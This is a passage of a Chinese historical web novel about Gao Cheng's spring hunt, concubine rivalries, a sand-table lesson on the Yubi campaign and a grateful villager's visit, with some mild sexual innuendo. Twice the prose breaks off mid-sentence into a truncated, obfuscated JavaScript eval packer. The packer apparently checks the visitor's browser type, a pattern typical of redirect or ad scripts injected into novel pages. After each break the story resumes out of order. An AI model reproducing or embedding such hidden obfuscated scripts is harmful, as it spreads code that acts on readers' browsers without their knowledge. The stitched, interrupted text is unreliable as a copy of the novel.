林间的苍头部曲如黑潮涌动,长矛顿地,自外向内推进。这“围阵”之法,源自鲜卑祖辈逐水草、猎虎豹的古老智慧,用在战场上是围杀劲敌,用在猎场便是驱赶百兽。 阵势一动,林中獐鹿狐兔,受这声势所惊,从藏身的草窠岩洞里窜出,鸟禽惊飞,尘风大起,军士呼喝与兽哀交织,伴着鼙鼓画角直冲云霄,端的是一派肃杀。 包围圈愈缩愈小,高澄回顾左右,扬声:“汝等弓马骑射,且让为父一观!” 话音未落,长子高孝瑜已率先催马冲出。 他年方十一,身手却已矫健,筋角弓弦惊响,一支靫槊箭破空而去,肥硕獐子应声倒地。 喝彩声中,六岁孝琬不甘人后,鞭马急追一只火狐,气力虽嫌不足,那份勇猛精进却显露无疑。 一旁的孝瓘,控马张弓,锁定一只狂奔的野狼,并不急于发箭,待野狼腾跃之时,方手指一松,箭镞直贯咽喉。这一箭,准头、力道尚在其次,难得的是那份冷静,不出手则已,出手必中。 段韶大赞:“此子他日,必为名将!” 八岁的高孝珩却另有一番作为。 他并未于弓马之力与兄弟们争锋,而是带着两名老练苍头,潜至兽群必经的一道溪流旁。用韧藤、树枝设下七八个活套绊索,伪装得极好,与周遭枯草落叶无异。 不过一盏茶时分,一头惊慌麋鹿奔至溪边,前蹄甫一踏入套中,那藤索“唰”地弹起,登时将它后足紧紧缚住,任它如何挣扎,只是越缠越紧。 高澄远望,不由抚掌大笑,“妙极我儿!不尚匹夫之勇,却能运智巧于无形!” 一直默跟在后的高洋,微微眯着眼睛,似睡非睡。 方才一头雄鹿从他马前掠过,他搭箭开弓,动作快得只如电光一闪,与平日那副木讷的模样判若两人。然而,就在箭将离弦的刹那,手腕几不可察一偏,那支利箭便擦着鹿角,“夺”的一声钉入了树干之上。 这一放水之举,只被营帐前定睛远望的陈扶瞧在了眼里。 李昌仪利落地整理好骝马鞍辔,转头对陈扶嫣然一笑,“小阿扶等着,待姐姐猎只白狐回来给你做领子。” 纵身跃上马背,如一团烈火燎原而去。 看了会儿,本欲回帐,却转头对上盯看她出神的元玉仪,陈扶笑笑,淡道:“我不会骑马。” 元玉仪“哦”了一声,方在随侍奴婢托力下,翻身上马,“那我也去了。” 虽被马鞍硌得生疼,仍咬牙抖缰,朝高澄方向追去。 自那日陈扶警告过他,大将军便连续几夜未回东柏堂过夜,也不知是不是去了她那李府。 空置的寝榻,冷却的熏香,连他常玩的玉物都蒙了尘,怎叫她能不心焦。 昨日听闻今天春猎,今晨特意换上这身大将军赞过“娇嫩堪怜”的鹅黄杭绸胯褶,攥着他衣袖央求:“大将军春猎也带上玉仪吧?妾近日学了骑马...” 大将军却只是掠过她身侧,轻飘飘落下一句:“想去就去,只莫叫嚷尘土污了衣衫。” 高澄端坐马上,扫过这生龙活虎的场面,不由望向西方,有此英气勃发的孩儿,何愁他日拿不下那西边猛兽。 他心情大悦,扬鞭对亲信都督与苍头部曲高声道:“今日猎获最多者,本将军重赏!” 激得众人热血沸腾,谁不知世子爷的重赏从来都是真金白银、良田美婢?一时马蹄如雷,人影飞散,全都扑进了林间。 草屑尘土,腥膻血味,元玉仪蹙着眉,在马背上颠的花枝乱颤,方才弱弱唤了两声“大将军”,却只是随风消散。 那个曾将她捧在手心的男人,正追随着另一道如火身影。 李昌仪,那个出身赵郡李氏的汉家女,今日一身绯红胡服,策一匹乌骓骏马,竟比鲜卑女儿更显飒爽。但见她纤手自箭囊拈起三支雕翎,引弦向空,待一行飞燕掠过,簌簌三响,三只燕雀应声而落,箭箭穿颈。 “好一个‘云中三箭落惊鸿’!”高澄策马过去,与李昌仪并辔而立,“原来我的大将军府,竟真藏了位花木兰!弓马这么俊,不知道的,还当我高澄又新得了一员骁将呢。” 众人皆以为大将军的宠姬琅琊公主是人间绝色,今见这宠妾李昌仪,姿容竟无半分逊色,还善弓马骑术,不由交口称赞“这手连珠箭法,不输永安郡公啊!”“军中男儿亦不过如此,真可谓巾帼不让须眉!”...... “都督们谬赞了。昌仪不过雕虫小技,岂敢与大将军帐下虎贲争锋?” 高澄看着她被汗水润湿的鬓角,昨夜帐中画面灼热地撞进脑海。 这双能开硬弓的手,在他怀里却推拒不动,只得缠绕攀援,那张能言善道的唇,明明已情动难耐,偏还要咬着不肯出声,非得他掐着腰逼问才吐露。 此刻华美英姿与床笫间的清婉媚态重叠,激得他喉头发紧。 这女人不是不会,从前分明是藏着不肯给,如今稍露些本事,便撩拨得他欲罢不能,若论伺候的手段,还得是这等聪明人。 “女子,终究还是聪明些好。” 跟在二人身后的元玉仪,心口猛地一刺。 女人还是聪明的好? 他是在……嫌她蠢笨吗? 恐慌涌上心头,难道,要和她抢大将军的竟不只那陈扶,还有眼前这位? 齿尖不自觉陷进唇肉,尝到一丝腥甜。 春风送来那句话,也吹乱了李昌仪的发髻,几缕青丝纷乱飞出。她从腰间蹀躞带中取出一支步摇,素手轻抬,将松散的发髻重新挽紧插好。 那步摇赤金点翠,嵌着拇指大的明珠,凤喙垂下三缕游丝金链,尾端各缀着一殷红似血珊瑚珠,随马背起伏而轻颤,潋滟生辉。 那分明是……是高澄赏给她的那支!怎会到了李昌仪的头上?! 几日前,高澄来她后院房中,闲话片刻后,目光在她妆奁上停留一瞬,便拿走了这支步摇,还哄她说:“那支步摇华彩太过,压了你的娇柔,不如换个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高澄扫过这些猎物,唇角微扬,"孝先,儿郎们今日弓马尚可一观。然沙场争衡,非匹夫之勇。你久经战阵,邙山一役威震敌胆。今日趁此机会,给这些小猢狲们讲讲行军布阵之术,免叫他们以为,打仗如同围猎般简单。" 段韶神色恭谨,拱手道:"大将军有命,孝先敢不尽心。那便移步帐前,聚沙土砺石为山川,同孩儿们讲讲邙山之战阵。" 高澄身前的陈扶微一欠身,笑问:"既以沙盘推演,公何不选河东玉壁?峨嵋台地山河险隘、攻城之艰,最能体现用兵之道。" 二人闻言对了一眼,皆精光一闪。 高欢已在晋阳集兵点将,欲以十万大军一举攻下那玉璧城,高澄也已在邺城筹备粮草,比之邙山,玉壁城才是眼下最紧要的军事之地。 "稚驹此议甚好,夫未战而庙算胜者,得算多也;未战而庙算不胜者,得算少也。便以玉璧为例,给孩儿们演示一番这战前庙算。" 帐前下马,段韶当即命人取来细沙、卵石。他半跪于地,袍袖微卷,双手运筹,汾水以细流划出,峨嵋原以土石垒就,一座微缩的玉壁城宛在目前。 陈扶拾起一根树枝,帮忙在代表蒲津渡的河道中央搭上,"宇文泰不仅在蒲津渡建了浮桥,两岸中间的沙洲上也建了座中潬城,专为护卫浮桥咽喉。" 段韶诧异看向她,"陈女史未出过邺城,竟对玉璧布防如此了然?" "大将军教过奴婢舆图,纸上谈兵,让公见笑了。" 28.第28章 高澄命人将几个孩子唤回。 不多时,几人便策马归来,高孝瓘的马匹负载最丰,高孝瑜次之,最引人注目的是高孝珩,虽只猎得一獐两鹿,但其中一头雄鹿体型硕大,鹿角如冠。 高澄走上前,揉揉孝珩的脑袋,又拍拍孝瓘的肩,目光扫过所有孩子,"都是好孩儿。说吧,想要兄兄赏什么?" "我要新打的马槊!""孩儿想要一匹西域良驹。"…… 轮到高孝珩时,少年目光掠向帐前那道鹅黄身影,微微垂眸,唇边浅笑温润得体:“兄兄赏什么,孩儿都欢喜。” 待几人围拢沙盘,段韶肃然发问:“尔等以为,所谓庙算,究竟算的是什么?” 高澄点高孝珩,“阿珩先说。” 高孝珩执礼从容道:“上兵伐谋,其次伐交,不战而屈人之兵,善之善者也。依孩儿浅见,庙算当先算‘人’。若能劝降守将,使玉璧不战而下,方为上策。” 段韶颔首,“此确为至理。可惜那守将韦孝宽……劝降,怕是很难。” “守将固重要,然民心向背,是否更该细算?以叔公所见,河东民心所向何处?” “上回从玉璧撤军时,当地大族已纷纷倒戈,宇文泰深谙‘河东人治河东’之道,裴氏、柳氏、薛氏等望族,皆被委以本乡官职。” “如此看来,只得伐兵、攻城了。” 段韶点头,转向高孝琬,“孝琬,你以为接下来该算什么?” “伐兵算兵马!”少年挺起胸膛,“我们带十万,他就一万!堆也堆死他!”见众人失笑,小脸一正,“还需算粮草。兵马未动,粮草先行,远征千里,运粮最是要紧。” 这补充让段韶眼中闪过赞许,看向一直凝视沙盘的那个,"孝瓘呢?" 高孝瓘拾起树枝,轻点玉璧城周,"此地形过于特殊,恐无交战之机,唯有攻城。故最要紧的,是算地形。" "说得不错!"段韶执鞭指向沙盘,详解起地形来…… 日头正烈,猎苑空地上升起缕缕炊烟。 大半日的纵马驰骋,众人皆已汗透重衣,脸上是酣畅后的疲惫与兴奋,陆续向篝火旁聚拢。 高浚大步走来,见高澄与段韶还站在那沙盘旁,抹了把额角的汗,朗声道:“阿兄,肉香都飘出几里地了!你和孝先兄还守着这土堆干嘛?快来!酒都斟满了,就等你和孩子们了!” 高澄抬头,微微眯了下眼,脸上凝重便烟消云散,对孩子们一笑,“走,和兄兄喝酒吃肉去!” 孩子们轰然叫好,簇拥着他便朝主帐下的阴凉处走去。 数堆篝火上分架着肥美的獐鹿野猪,油脂滴落火中,激起“噼啪”轻响和阵阵青烟,浓郁肉香混着松脂气,在灼热空气中弥漫。 高澄斜倚青毡席上,正与段韶对饮,见李昌仪策马而归,起身迎上,伸手揽住人一带,将人抱下了马鞍。 “爱妾今日可是出尽了风头,”抹去她颊边溅到的血点,俯身笑问,“说吧,想要何赏赐?只要不是天上的星星,都允你。” 李昌仪就势靠在他怀里,“妾还偏就想要星星,但不是邺城的。待大王踏平玉壁,大将军若能带妾去见见那河东的星夜,便算疼我了。” 高澄笑意更深,聪明女人好好说起话来,当真令人受用。 扫过她因骑射而愈发明丽的脸颊,俯身凑近耳边,“光是看看星夜有何趣处?待得来日平定西贼,用你今日这身‘武艺’,好好在长安宫的榻上跟我‘较量’一番,才叫得趣。” 李昌仪似羞似嗔地脱出他怀抱,从马鞍后解下只火狐,抛给陈扶,"答应你的白狐没寻见,火狐倒是逮着一只。毛色鲜亮,能做对暖手筒。" 说罢往陈扶身侧一坐,拔出一枚银刀,接过苍头奴递来的一块焦黄鹿肉,片下递到陈扶唇边,见陈扶正盯看她发髻上的步摇,挑眉冲她一笑。 陈扶也笑了笑,吃下那片鹿肉,“谢谢姐姐帮忙。” 高澄也跟了过来,紧挨着李昌仪坐下,语气带上几分无赖,“怎只喂稚驹,不喂你夫君?” 李昌仪眼波一转,又片下一片递到高澄唇边,在他欲张口时,明媚眼眸倏地一敛,那份张扬悄然隐去,气质一变,整个人皎月清辉般,端庄中见流丽,清冷中蕴温柔。 她凑近高澄,先引他看了对坐的高洋一眼,用只有两人能听到的音量轻问:“大将军,你说……妾是该先喂我夫君,还是该先喂……阿兄啊?” 高澄先是一愣,随即低笑起来,抬手抚过她细腻温热的脸颊,“小妖精……自然是先喂能满足你的。” 正调笑间,高澄余光忽地瞥见不远处,元玉仪独自一人垂首坐在席末,阳光下,一滴晶莹泪珠正无声地滑过她如玉的脸颊,砸在她紧紧攥着衣角的纤手上。 高澄起身走过去,挨坐下来,捏住她小巧的下巴,迫她抬起头来。她眼圈通红,翘睫上还挂着细碎泪珠,下唇上有一处新鲜的、细小的咬痕,更添几分脆弱。 “瞧这小脸皱的,怎么了?谁惹我们琅琊公主不高兴了?”指腹擦过她柔嫩的脸,按在她下唇上,“怎么还咬了嘴?是嫌肉不好吃,还是……不会吃?要不要我亲自‘喂’你?” “大将军现在心里只有李夫人,哪里还看得见玉仪……” 将人带到怀里,手指绕上她一缕鬓发,附耳笑问:“要不我现在抱你去林子里?好好疼疼你,保你什么委屈都忘了。” 元玉仪被他弄得面红耳赤,但哭意也因这亲昵渐止了。 日头偏西,酒过三巡,炙肉的烟火气混杂着酒气,猎苑中气氛愈发粗放热烈。 一都督瞅了安静坐在一旁的陈扶好几眼,终于按捺不住,冲着正揽着元玉仪饮酒的高澄大声笑道: “大将军!陈女史会写诗、会剑术,模样又乖,俺老刘真是越看越喜欢呐!俺豁出这张老脸,跟大将军讨个赏!等她及笄,把她指给俺家那小子咋样?俺保证,绝不让俺家那小子委屈了她!” 他话音一落,旁边几个喝高了的弟兄跟着起哄: “老刘你好不要脸!你家那小子斗鸡走狗,配得上陈女史这样才女?” “就是!要开口也该是我啊!大将军不是说了么,猎获最多者,重赏!我这魁首还没张嘴呢!” “大将军,给句痛快话,将来打算把陈女史指给哪家儿郎啊?” 场面一时喧闹不堪,众人目光都聚焦在陈扶身上,她不由蹙眉,今日能来春猎的,皆是高澄亲信,这些话若说十分过分,原也没有,但也实在令她不适。 高澄脸上那慵懒笑意未减,只抬了抬眼皮,扫过那几名起哄的都督,持酒碗的手指轻轻摩挲着碗沿。 陈扶尚在斟酌如何不得罪地回应,坐在她近旁的高孝珩已放下了刀,将自己面前那盘片得极薄的炙肉,无声推到陈扶面前,抬起那双沉静眸子,看向刘都督, “刘伯伯,《左传》有云:唯器与名,不可以假人。陈女史既是阿耶之女史,便为社稷之器。怎么可以只因私心喜爱,便欲将社稷之器纳入私库呢?” 几个大老粗面面相觑,显然没太听明白。 高澄微微后靠,倚在软垫上,嘴角依旧噙着笑,眼神却已微冷,“孝珩年纪虽小,见识却明。既是我高澄手下良驹,何时配鞍,配何等鞍辔,岂是旁人可以议论的?” 刘都督这下听懂了,讪讪笑道:“大将军说得是,好马当配好鞍!俺、俺就是觉得陈女史太好,想着肥水不流外人田……” 他话未说完,高孝珩已开口纠正:“刘伯伯,陈女史她是人,并非肥水。” 这话虽是在纠正刘都督,却也隐隐逆了高澄将陈扶比作‘马’的喻意。 高澄眯了眯眼,心中那股无名火气陡然升腾,将酒碗往案几上不轻不重一扔, “喝多了就滚去醒酒!本将军身边的人,何时轮到尔等来安排去处了?再敢胡言乱语,小心你们的皮!” 几个兵油子瞬间酒醒,这才惊觉自己触了逆鳞,大将军待下豪阔,却最忌手下人主动讨要。 你做得好他一定重赏,但你和他开口要,怎么?是觉得他没有判断你有功无功,该得何奖赏的能力?还是要挑战他绝对的分配权? 场面一时冷了下来,几个都督额上见了冷汗,连忙起身,“大将军息怒,末将等……末将等酒醉失言,这就去醒醒酒!”“是是是,吃饱了,正好再去活动活动筋骨!”“末将告退!” 纷纷寻了借口,落荒而逃般翻身上马,重新散入猎场林中,不敢再在高澄眼前碍眼。 高澄站起身,吹了声哨,那白龙驹便近前停步,上马持缰,朝陈扶伸出手,“稚驹,随我走走。” 陈扶抬眼,“稚驹午后实在瞌睡,恐难集中精神,请大将军允准我去帐中午憩。” 高澄眉头微蹙,“上马!” 细瞧了瞧他面色,应是有话要说,搭着他小臂,脚下微一用力,上了马背。 高澄一抖缰绳,策马而去。 转眼间,方才还人影幢幢的篝火堆,便只剩元玉仪独自一人,仍坐在那张锦杌上。 自从那些将领开始起哄,大将军目光就再未落到她身上过,现在,他更是与那陈扶共乘一骑,不知又去了何处。 不远处,李昌仪正与段韶、高浚并辔而立,谈论着弓矢的力道、马匹的优劣。对比之下,她虽久居东柏堂,可与这些也出入东柏堂的朝廷重臣、沙场宿将,却仿佛隔着天堑,并无话可说。 而最让她心如针扎的是,李昌仪与陈扶,她们虽都争着大将军的宠爱,却似乎关系很好,一种被整个世界彻底抛弃的凄凉与无助,从心底疯长,冷得她窒息。 若是姐姐在就好了…… 她在心里无声呐喊,若她在,一定能教自己如何挽回大将军的心…… 不像她自己,除了哭泣和等待,毫无办法…… “公主。” 一个清雅的声音在她身旁响起。 元玉仪侧头,高孝珩不知何时静立在了她身侧。 她勉强挤出一丝笑容,“二公子。” 高孝珩在她身旁的毡垫上坐下,目光也投向高澄与陈扶消失的方向,“公主不必伤怀。李姨母所得之宠爱,如露水浮华,并不能与公主两年专宠,相提并论。” 这话并未安慰到元玉仪,她苦涩地低下头,绞紧了手中的帕子。 “李姨母得宠,是那日陈女史来府中与她长谈之后,方才开始的。这等骤然之宠,怎及公主与阿耶日久情长。” 他这话说得轻飘飘,像一片羽毛,却裹着尖锐冰棱,重重刺在元玉仪心上。 “先生前日讲授庙堂之理,说起一为臣之道,大臣纵使再有功劳,也绝不会去开罪皇帝身边的常侍。” 他顿了顿,终于转过头,那双和陈扶一般深不见底的眸子,注视着她。 “今日围猎,儿自知弓马之力不及阿兄四弟,故而特与三叔同行。自身之力若有不足之处,便更需寻堪为臂助之人同行。公主说……是不是这个道理?” 他说完,便站起身,彬彬有礼地微微一揖,不再多言,转身离去。 元玉仪僵坐原地,浑身冰凉,高孝珩的话,像一道闪电,劈开了她眼前的迷雾。 是陈扶!是陈扶点拨了李昌仪! 马蹄踏过林间泥土,发出沉闷声响,高澄控着马,目光落在陈扶侧脸上,开口打破沉默: “生气了?” 陈扶微微一愣,抬眼看他,“为何要生气?” 高澄挑眉,“因为我把你比作马?” 他那好儿子说了,她是人。 陈扶笑了下,带着丝无奈,“是我自己先说了‘大将军座下已有千里驹,何须再多一匹稚驹’,大将军以此作比,稚驹有何生气的道理?” 高澄顺势比喻确实算不得错,只是高孝珩那句‘她是人’一出口,才有了对比,显得高澄的话带了几分轻慢,但这微妙之处,她不会宣之于口。 高澄仔细端详她的神色,确实不见丝毫愠怒,神色一正,转回正题,“可惜,此番我不能亲临玉壁城下。” 尽管方才在众人面前谈笑风生,但玉璧四年前的战败,方才那沉重的庙算,始终压在他心头。 “大将军整备粮草,稳守后方,让大王无后顾之忧,便是第一等的功劳。如同握槊之道,大将军看似落子于后,其实是棋盘中枢。” 这话慰藉了他些许焦躁,但高澄想要的答案,不止于此。 他一引缰绳,带着陈扶策马转入一处更为幽静的山坳,四周古木参天,彻底隔绝了外界。 “稚驹,你不再像上回邙山之战时,说‘必定胜之’了。” 陈扶沉吟片刻,缓言道:“为将者,未虑胜,先虑败。为君者,未虑攻,先虑守。” 高澄将她脸轻轻掰向自己,紧紧盯着她,不放过她脸上任何一丝细微的变化,“告诉我,在稚驹的庙算中,是不是……根本看不到玉壁城的捷报?” 陈扶迎上他探究的目光,没有承认,也没有否认,只轻声反问:“大将军想听一时安心的吉利话,还是想听让霸业得以万全之谏言?” “我要听你的心里话。” 陈扶深吸一口气,山河四省是这个时代最富庶的地区,国力、人口、财力皆强,玉璧之战损失七万是很肉疼,但远未到伤筋动骨的地步。 玉璧十万难攻的战略打击,高欢质疑天命并随之离世的士气低迷,才是更伤元气的隐性代价。 “文武百官、军民百姓看的,不止是玉壁城下,更是邺城。大将军若能于后方处变不惊,调度如常,则天下皆知,纵有风波险阻,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好孩子!”高澄赞道,随即跃马而下,冲向以刀拄地、左臂鲜血淋漓的高浚。他额上满是冷汗,却仍强撑着咧嘴一笑,“无妨!皮肉之伤,阿兄无恙,便是万幸!” 高澄扶住弟弟,见他创口颇深,喝道:“传令!今日春狩至此为止!即刻拔营回城!” 返程队伍在暮色中迤逦而行。 高澄亲自护送受伤的高浚在前方疾行,不善骑射者则乘坐牛车在后,元玉仪因嫌马鞍硌人,便登上了其中一辆。 车内宽敞,铺着软垫,她却只觉得孤寂冰冷。 正自伤感,车帘一动,竟见陈扶弯腰走了进来,在她对面安然坐下。 “如何?公主仍不愿搬出东柏堂么?” 这话如同点燃了积压已久的火药,这几日的委屈、惶恐、不甘瞬间爆发出来,她颤声质问:“陈扶!你自己争宠还不够吗?为何还要再拉一个李昌仪来对付我?!你就如此容不下我?” 陈扶微微一怔,“所以,公主现在仍觉得,我在和你争宠?”她轻轻摇头,无奈笑问,“如果我真的要争宠,我为何要帮李昌仪?为了给自己培养一个更强劲的情敌?还是觉得对手太少,不够有趣?” “……”元玉仪被问得哑口无言,张了张嘴,脑子一片混乱。 看着她懵然不解的样子,陈扶收敛了那丝嘲讽,“我们之间,从来就没有竞争,以后也不会有。你要的,是他的宠爱,” 叹口气,沉声道,“我要的,是他活着。” 陈扶也不想这般与之多言,无奈她太了解高澄,知道就算李昌仪得宠,也不足以让高澄抛弃元玉仪,他完全可以既要、又要。更知道以李昌仪性格,帮不了她多久。 她让李昌仪帮忙去要那支步摇,在元玉仪面前戴上,只是想让元玉仪看清楚一件事。 “我能让她得到大将军的宠爱,自然也能帮你实现心中所想。” 元玉仪看着那张目光幽深的孩儿面,脑海中不期浮现出高孝珩的声音来: “自身之力若有不足之处,便更需寻堪为臂助之人同行。” “大臣绝不会去开罪皇帝身边的常侍。” 她在东柏堂耗了两年多,有的不过是最初那个封号罢了,自身之力,明显不足。 而陈扶,不就是那个皇帝身边的常侍吗?或许,依附于她,所能得到的,会比守在东柏堂要多。 她深吸一口气,看向陈扶,“好……我答应你。明日,我便去与大将军说。” 翌日酉时,高澄处理完手头政务,揉了揉眉心,对陈扶道:“今日便到这里,我去看看阿浚伤势如何。” “大将军今日……除了探望永安公,便没有其他事要处置么?” 高澄不以为意地摆摆手,“政务是永远处理不完的,不急在这一时。” “奴婢是问,琅琊公主……她还好么?昨日见她郁郁不乐……” “无妨。她姐姐今日来陪她了,想来很快便能开怀。” 她姐姐来了? 陈扶心下一沉,面上却不动声色,只垂首道:“那奴婢便放心了。” 高澄一走,陈扶便向后院而去。 庭院中,元玉仪正倚在元静仪身侧,元静仪发髻上簪着金丝芙蓉钗,腕间镯子水头极足,通身上下无一不精致,比上回见,更富态了。 见陈扶进来,元玉仪下意识地往姐姐身后缩了缩。 元静仪则抬起眼,目光带着钩子般在陈扶身上扫了一圈,唇角勾起抹弧度,“公主在东柏堂,多蒙陈女史‘关照’了。” 陈扶懒得与她虚与委蛇,目光直视元玉仪,“我们昨日之约,作废了?” 被问话的人垂首不言,元静仪用手帕轻轻按了按嘴角,笑如银铃,“陈女史说笑了。东柏堂锦衣玉食,大将军宠爱有加,公主为何要搬?我妹妹性子软,耳根子浅,听不得危言耸听的话。可女史用什么为了大将军性命这等话来诓骗她,未免……也太不拿她当回事了。” 她站起身,步履袅娜地走到陈扶面前,挑起细眉。 “陈女史,咱们明人不说暗话。这天大的富贵,你一个人享得过来么?何苦为难我们?而我们既然攀上了,就绝无松手的道理。我妹妹若不行,还有我呢,大将军……想必也不会介意我们姐妹一同侍奉。” 陈扶静静听着,脸上没有任何被冒犯的怒意,在元静仪说完后,她看着元静仪,一字一句,清晰说道:“既然,你选择与我为敌,那就请你,一定要竭尽全力。” 元静仪嗤笑一声,“那是自然。在争宠这方面,我元静仪还从未输过谁。” “很好。” 陈扶笑着点点头。 因为我,绝不会对敌人,手下留情。 29.第29章 时维盛夏,草木葱茏。 阿禛擦擦额头的汗,探身张望。 车马人流在城门处汇集,密密麻麻,他这辆小破车,挤在那些油壁华盖、骏马雕鞍之间,显得格格不入。 守城的兵士眼神像刀子,落在他这粗麻衣裳上,格外多停了一瞬。 查了过所货物,驶入邺城。 道两旁酒旗招展,幌子飘扬,货物琳琅满目,行人摩肩接踵,裙衫鲜艳的女子云鬓高耸,香风阵阵,穿着绫罗绸缎的贵人坐在香车里软语轻笑…… 邺都,果然不一样。 阿禛紧紧攥着缰绳,生怕冲撞了哪位贵人,依着记忆中恩人提过的“陈府”,几经打听,才找到一处颇为气派的宅邸。 犹豫着上前,叩响了门上的铜环。 门开了条缝,一穿着绸衫的小厮探出头来,上下打量番阿禛,又看眼他身后的破马车,眉头皱起来,“去去去!哪来的乡巴佬,也不看看这什么地方?是你能乱敲的?快滚!” “俺……俺找陈扶陈女史……” “陈女史?”小厮愣了一下,冷笑,“这里没什么陈女史!这是范阳卢氏家女婿的府邸!如今当家的是卢夫人!快滚!再敢敲,小心放狗咬你!”说罢,砰地一声将门关上。 卢氏……女婿? 他茫然地站在紧闭的朱门外,看着车水马龙的街道,一时间竟不知该何去何从。 半晌,他猛地想起两年前,恩人曾让县长给一个叫“东柏堂”的地方送信。 对!东柏堂!恩人一定在那里! 几经周折,问了好些人,他才寻到东柏堂所在,也知道了那不是恩人家,是大将军办公的地。 离着还有一射地,那股威严气便扑面而来。 青石街道扫的异常干净,两旁甲士林立,阿禛远远停下马车,鼓起勇气,朝大门走去。 “站住!何人胆敢擅闯!”守门的手已按在了刀柄上。 阿禛腿一软,差点跪倒,强撑道:“军、军爷……俺,俺找陈扶陈女史……她,她是俺恩人……俺来给她送些土产……” “陈女史?”队主眉头紧锁,“陈女史岂是你说见就见的?速速离去!” 眼看那刀就要出鞘,阿禛想起恩人当年在县衙的镇定,不知哪里生出股勇气,急声道:“求军爷通传一声!就说……就说长社王家村的阿禛来了!两年前,是俺救了她!俺不是坏人!” 正要动粗的亲卫闻言,动作一顿,一看似头领模样的人走了过来,“怎么回事?” 那人听他重复了一遍,又细看了看阿禛面孔,神色微动,转头叫住一个以青巾裹头的男仆,“去禀告陈女史,就说有个叫王禛的,从长社县王家村来,要见她。” 那苍头奴应了声,进去不久便返回,对阿禛招招手,“跟我来吧。” 穿过几重门廊,忽得开阔,阿禛偷眼打量,庭院里种着好些叫不上名的奇花异草,有一株开得碗口大的白花,假山也不是湖石堆的,倒像从深山直接搬来了一整块。 更奇的是,那水池边,竟有两只他在年画上见过的仙鹤!这得是多大的富贵,才能养得住这仙物? 不过,奇景虽多,人倒是没几个,除了偶尔低头快步走过的奴仆,竟没一个带刀侍卫。 他心里直犯嘀咕:外头瞧着龙潭虎穴似的,里头倒像个……像个仙女住的园子。 正胡思乱想,领路的苍奴已在一处极轩敞的屋宇前停了脚,低声道:“到了。” 跨进亮堂堂的大间,两旁的架子高几上供着些他不认得的器皿,当间儿坐着位青袍官人,正蹙着眉在一卷竹简上写字,手指白净,身后还有幅屏风,上头画了好大只老虎,比里正老爷的堂屋气派多了。 腿肚子一软,冲着那青袍官人便拜了下去,“小人……小人拜见大将军!” 话音未落,旁边苍头奴脸已吓白了,一把扯住他低斥:“作死的猢狲!胡嚷什么呢?!” 那青袍官人也被这嗓子骇得手一抖,竹简“啪”地落在案上。 他像被火烫了屁股,猛地从席上弹起身,连连摆手,声音都变了调,“哎哟!莫要害我!”急急指向内侧那扇虚掩着的柏木门,“大将军……大将军在正堂呢!” 闹了个大错,阿禛脚更软了,到了门口也不敢进,缩在廊柱后头。 凉风拂过,一股子香气飘来,他使劲抽了抽鼻子,那香气凉丝丝的,竟像活物般往脑门顶里钻,激得他打了个颤。 猛地想起去年腊月城里大法会,那老道士捧出个宝贝盒子,说是祀天帝的灵香,烧起来能引得上真降鉴,就是这味儿! 目光顺着香气溜进堂内,正落在案当中那位贵人身上。 贵人头上那乌纱冠,像知了翅膀似的透亮;一身淡青薄罗衫子,里头是月白色的绸中单,外头还罩着层金丝纱衣,风一过,飘飘举举的,这香气,配上这通身打扮,今是见着真神仙了! 苍奴又用眼神催他了,阿禛心里怦怦直跳,跨过门槛,扑通一声就跪下了,“草、草民王禛,叩、叩见大将军!叩见恩人!” 恩人坐在案侧,两年不见,她身量抽高不少,发髻梳得水滑,可那张脸却还似庙里泥塑的童女似的,圆圆的,白白的,两只黑眼一眨不眨地望着他,小小一点的嘴巴,冲他弯了弯。 正心里发热,上头传来纸页翻动的轻响,那位一直看着文书的大将军,忽然就抬起了脸。 这一抬头,阿禛心里“咯噔”一下——俺的亲娘,世上竟有这般人物!面皮紧得玉瓷似的,鼻梁又窄又高,标准一双丹凤眼,亮汪汪的,眼尾新磨的镰刀片子似的利。 唇角噙着笑,可细瞧又觉不出暖,村头那看相的说过,这等笑面杀相最狠了,慌得他赶紧埋下头,一眼也不敢再瞧了。 “抬起头来。” 声音也似笑非笑的,“便是你,救了本将军的女史?” 阿禛只得硬着头皮又抬起头,目光却只敢落在那腰间玉带上。 “回、回大将军……是草民碰巧……但、但陈女史送了俺家十金,后来又运来粮食,救活了俺全家,救活了全村人,她才是俺天大的恩人……” 话未说完,忽瞥见恩人那双乌黑眸子往大将军方向一转,执着磨锭的食指朝大将军一指。 阿禛心头猛地一跳,福至心灵,脱口而出:“大将军……大将军更是草民的大恩人!” “哦?”那张漂亮的脸掠过玩味,身子略略前倾,“此话……从何而来啊?” 见大将军来了兴致,阿禛胆子稍壮,话也顺了些: “回大将军,自女史用大将军名头训过那县爷,县里便改收俺们三匹了……还给俺们重新分了地……如今换上的官儿也和气,村里都能攒下几个活命钱……县里老秀才说,那是因着大将军镇着,底下人不敢胡来了,草民家中如今好过多了,特来谢谢陈女史,谢谢大将军恩德……” 大将军身子向后闲闲一靠,两手一插,修长食指交替着, “站起来,给本将军学学,我家女史是如何训斥那一县之长的?” 阿禛爬起身,回忆着两年前那幕,腰板一挺,手臂一挥,指尖仿佛要戳到虚空里那县令的鼻梁。 “我看是你,戏弄了朝廷,戏弄了身上这袭官袍!” “大将军明令一户缴三匹绢即可,你收百姓五匹!欺上瞒下,什么征、什么敛,以致治下之长社县城,村什么敝,民生困苦……朝廷设郡县,命守牧,为得什么?难道是让你——” 他卡住了,那两个四字成语实在想不起,急得额头冒汗,直接把记得最清的最后一句吼了出来: “将这片沃野千里,治成一片人间白地的吗?!” “哈哈!”大将军畅快大笑起来,“好啊!训得好!持正斥奸,不愧是我高澄的女史!” 恩人闻言弯起眼睫,微微垂首, “大将军恕罪,是稚驹僭越了。只是天天在一旁看着大将军为民生操劳,夙夜匪懈,见底下人如此行事,岂非辜负大将军一片忧国忧民之心?一时情急,才失了分寸。” 